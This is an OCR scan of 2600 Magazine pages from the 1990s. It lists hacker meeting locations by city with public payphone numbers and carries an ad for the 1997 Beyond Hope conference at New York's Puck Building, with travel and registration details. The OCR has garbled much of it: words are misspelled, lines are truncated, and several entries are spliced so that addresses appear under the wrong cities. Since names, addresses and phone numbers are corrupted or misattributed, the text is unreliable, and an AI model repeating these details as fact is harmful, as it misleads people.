Albuquerque, NM
Winrock Mal Food Court, near payphones on the
lower level between the fountain and arcade.
Payphones: (505) 883-9941, 9976, 9985
Anchorage, AK
Diamond Center Food Court, smoking section,
near payphones.
Ann Arbor, MI
Galleria on South University.
Atlanta
Lennox Mall Food Court.
Baltimore
Battimore Inner Harbor, Harborplace Food Court,
Second Floor, across from the Newscenter. Pay-
phone: (410) 547-9361.
Baton Rouge, LA
In the LSU Union Buikding, between the Tiger
Pause and Swensen's ice Cream, next to the
payphones. Payphone numbers: (504) 387-
9520, 9538, 9618, 9722, 9733, 9735,
Bloomington, MN
Mall of America, north side food court, across
from Burger King and the bank of payphones that
don't take incoming calls.
Boise, ID
Student Union buikiing at Boise State University
near payphones. Payphone nurmbers: (208) 342-
9432, 9559, 9700, 9798.
Boston
Prudential Center Plaza, Temace Food Court.
Payphones: (617) 236-6582, 6583, 6584, 6585,
try to bypass the carrier.
Buffalo
Eastem Hills Mall (Clarence) by lockers near food
cour
Charlotte, NC
South Park Mall, raised area of the food court
Chicago
3rd Coast Cafe, 1260 North Dearbom.
Cincinnati

Kenwood Town Center, food court.
Cleveland
Coventry Arabica, Cleveland Heights, back room
smoking section.
Columbia, SC
Richiand Fashion Mall, 2nd level, food coutt, by
the payphones in the smoking section. 6 pm.
Columbus, OH
Convention Center, lower level near the pay-
phones.
Dallas
Marma's Pizza, northeast comer of Campbell Rd.
and Preston Rd. in North Dallas, first fioor of the
two story strip section. 7 pm. Payphone: (214)
931-3850.
Houston
Food court under the stairs in Galleria 2, next to

McDonalds.

Kansas City
Food Cout at the Osk Park Mall in Overtand
Park, Kansas.

Los Angeles
Union Station, comer of Macy & Alameda. Inside
main entrance by bank of phones. Payphones
(213) 972-9519, 9520; 625-9923, 9924

Loulsville, KY
The Mall, St. Matthew's food court.
Madison, W
Union South (227 N. Randall St) on the main
level by the payphones. Payphone numbers:
(608) 251-9746, 9914, 9916, 9923.
Miami
Dadeland Shopping Center in front of the Coffee
Baanery by Victoria Station restaurant
Mitwaukee
Maylair Mall on Highway 100 (aylair Rd) &
North Ave. in the Mayfair Community Room.
Payphone: (414) 302-9549.
Nashville
Bean Central Cafe, intersaction of West End Ave.
and 29th Ave. S. three blocks west of Vanderbit
campus.
New Orleans
Food Courtof Lakeside Shopping Center by Cafe

153 E 53rd St., between Lexington & 3rd.

Northampton, MA
JavaNet Cafo at 241 Main Street.

Orlando, FL
Fashion Square Mall in the food court between
Hovan Goummet & Panda Express. Payphones:
(407) 895-5238, 7373, 4648; BY6-9708; 895-
6044, 6055.
Ottawa, ONT (Canada)

Cafe Wim on Sussex, a block down from Rideau

Stret. 7 pm.
Philadelphia
30th Street Amtrak Station at 30th & Market, un-
der the “Stairwell 6" sign. Payphones: (215) 222-
9880, 9881, 9779, 9799, 9632, 367-9751.
Phoenix
Bames and Noble by Metro Center.
Pittsburgh
Camegie Mollon Universky student center in the
fobby.

Portiand, ME

Maine Mal by the bench at the food court door.
Portiand, OR

Lioyd Center Mak, third level at the food court,

food court area, by the theaters.
Sacramento

Downtown Plaza food court, upstairs by the the-
atre. Payphones: (916) 442-9543, 9644 - bypass
the caier.

San Francisco
4 Embarcadero Plaza (inside). Payphones: (415)
398-9803, 9804, 9805, 9806.

Seattie

Washinglon State Convention Center, frst fioor.

Sioux Falls, SO

of the MuchMusic buiding on Queen S. 7 pm.

Vancouver, BC (Canada)
Pacific Centre Food Fair, one level down from
streat lovel by payphones, 4 pm 10 9 pm.

Washington DC
Pentagon City Mallin the food court.
AUSTRALIA, EUROPE, ASIA, SOUTH
AMERICA

Aberdeen, Scotiand
Outside Marks & Spencers, next to the Grampian
Transport kiosk.

Adelaide, Australia

Outside Cafe Celsius, near the Academy Cin-
ema, on the comer of Grenfell and Pukeney
Streats.

Belo Horizonte, Brazil
Pelego's Bar at Assufeng, near the payphone.
6pm.

Buenos Aires, Argentina
In the bar at San Jose 05.

Granada, Spain
Cbertoca Granada in Pza. Enstein near the
Campus de Fuentenueva.

Haimstad, Sweden
At the end of the town square (Stora Torget), to
the right of the bakery (Tre Hjartan). At the pay-

phones.

London, England
Trocadero Shopping Center (near Picadilly Cir-
cus) next to VR machines. 7 pm.

Manchester, England
Cyberia Intemet Cafe on Oxdord Rd. next to St.
Peters Square. 6 pm.

Melbourne, Austraia

Meboume Central Shopping Centre at the
Swanston Street entrance near the public

phones.
Moscow, Russia
Burger Queen cafe near TAR/TASU (Telephone
Agency of Russia/Telegraph Agency of Soviet
Union) - also known as Nicitskie Vorota.
Munich, Germany
Hauptbahnhot (Central Station), first fioor, by

+49-89-501-835, +49-89-558-541, 542, 543,
544,545,

New Delh, India
Priya Cinema Complex, near the Allen Solly
‘Showroom.

Paris, France
Place d'htalie XIll, in front of the Grand Ecran Cin-
ema, 6-7 pm.

Rio de Janeiro, Brazil

Rio Sul Shapping Center, Fun Club Night Ciub.

BEYOND HOPE

Its time for the inevitable - the sequel to 1994's Hackers On Planet Earth conference. If you missed that event, you'll feel even
worse if you miss this one! Don't let that happen. Beyond Hope will be everything HOPE was and probably a lot more.
Speaker/P:

So far we' up people for pancls on social engineeri yption, surveillance, PCS/GSM legal issucs,
hacker ex-prisoners, “pirate” radio, the media, boxing, and a whole lot more. Our biggest worry at this point is figuring out how to fit it
all into three days. If you have ideas, contact us using the methods below.

The Network

Even though we only had a 28.8 link to the outside world at the 1994 HOPE, we still had a lot of fun networking all our comput-
ers together. This time things will be different. Our link to the net will be faster than ever - at the very least a T1 - and we will also be
experimenting with video links to the Hacking In Progress (HIP) conference going on in Holland. Plus we'll have an amazing internal
network of old and new machines. Bring your computer and whatever toys you have! As in 1994, all attendees will get an account on
our hope.net machine. Valuable prizes will be awarded to those who hack root.
Logistics
Itall takes place starting Friday evening, August 8th, running until Sunday night, August 10th at the Puck Building in New York

comer of Houston and Lafayette Streets. The main part of the conference begins at noon on Saturday, with registration

10 am. However, you will also be able to register Friday evening beginning at 6 pm and help us set up the network for the
d. There will be a special 2600 mecting beginning at 5 pm on Friday at the Citicorp Center, located at $3rd and Lexington. To
get to the conference from the meeting, take the #6 train downtown to Bleecker Street. Follow the signs and portents.

Registration

The cost for pre-registration is $20 for the weekend. While we hope to keep the cost at $20 for those who register at the confer-
ence, we may wind up filling the place up (capacity is only around 2,000 after all) and, in that event, prg-registrants will have priority.
So send us $20, your name and address, and we'll send you a pass that will get you in without a hassle or a wait. Make checks
payable to 2600. The address is Beyond Hope, ¢/o 2600 Magazine, PO Box 848, Middle Island, NY 11953, Don't send us anything
after July 15, 1997 to ensure that your pass is received in time. Special Offer: FREE ADMISSION for anyone coming to Beyond Hope
from overseas with a foreign passport. North Americans not cligible.

The Neighborhood

‘The Puck Building is in one of the liveliest sections of Manhattan, next to Greenwich Village, Chinatown, Little Italy, and SoHo

within easy walking distance of Bleecker Street, Broadway, Avenue A, and St. Mark's Place. We will have a full

guide of places and Hope-related activities on our web site and at the conference.
Travel

There arc many cheap ways to get to New York City in August but you may want to start
looking now, especially if you're coming from overseas. Travel agencies will help you for
free. Also, look in various magazines like Time Ou, Village Voice, local alternative week-
lies, and travel sections of newspapers. Buses, trains, and carpools arc great alternatives to
domestic flights. Keep in touch with the update sites for more information as it comes in.

Getting to the Site
From the airports: From all three airports (Kennedy, LaGuardia, Newark) you can
cither take a cab or bus to the city - from Kennedy you can take a free bus to the subway
and take the A train into Manhattan for $1.50. To get to the Puck Building in this manner,
take the A train to West 4th in Manhattan and transfer to a Brooklyn bound B, D, F, or Q
for one stop to Broadway/Lafayette. If you take a bus, sec the directions below from the
Port Authority.

By car: We'll assume you can find New York City on your own. Once you're actually over
the bridge or through the tunnel, head for Houston Street, just south of 1st Street. The conference
takes place on the southeast comer of Houston and Lafayette. There arc parking garages in the neigh-
borhood and many nearby streets allow free parking from Friday evening through the weekend.

By train: From Penn Station, take the A train downtown to West 4th, transfer to a Brooklyn bound B, D, F, or Q for one stop to
Broadway/Lafayette. From Grand Central, take the #6 subway downtown to Bleecker Street.

By bus: From the Port Authority Bus Terminal, take the A train downtown to West 4th, transfer to a Brooklyn bound B,D, F, or Q
for one stop to Broadway/Lafayette.

Where To Stay

The Puck Building is not a hotel, which we believe will make the conference itself a lot more interesting. We will be compiling a
list of places to stay in the city, ranging in price from $40 a night on up. So far, we suggest the following: the YMCA at 215 W 23rd
Street between 7th and 8th Avenues (212-741-9226) ms start at $40 and there are no age restrictions, Howard Johnson on 429
Park Avenue South between 29th and 30th Streets (212-532-4860) - rooms start at around $100 a night, and Holiday Inn at 132
Lafayette Street (212-966-8898) - rooms are around the $150 level. There are also youth hostels, bed and break-
fasts, and hundreds of other hotels in the city. This is only a preliminary list - check with us for more details
as the conference draws closer. You should make rescrvations no closer than three weeks prior to the confer-
ence. Remember, the cost of a room is lessened significantly if you split it with other people. Bring sleeping
bags to increase your flexibility.

‘What We Need

Ideas, people, computers, technology of all sorts.

How To Stay Updated

‘There are many ways to keep updated as preparations get underway. We will be posting updates on
our office phone line - (516) 751-2600 - as well as the 2600 voice BBS - (516) 473-2626. The official Be-
yond Hope website can be reached at www.hope.net and updates will also be found on the 2600 website at
www.2600.com. On the websites you'll find details on how to be part of the Beyond Hope mailing lists. Email
i net for the latest il i net for cheap fares and advisories, tech@hope.net
ns and fuggestions, speakers@hope.net for anyone interested in speaking at the confer-
d vol@hope.net for those of you who want to volunteer to help. On usenet, read alt.2600.hope.an-
nounce for the latest announcements, alt.2600.hope.d for an ongoing discussion about the conference, and
1t.2600.hope.tech for technical setup discussion.
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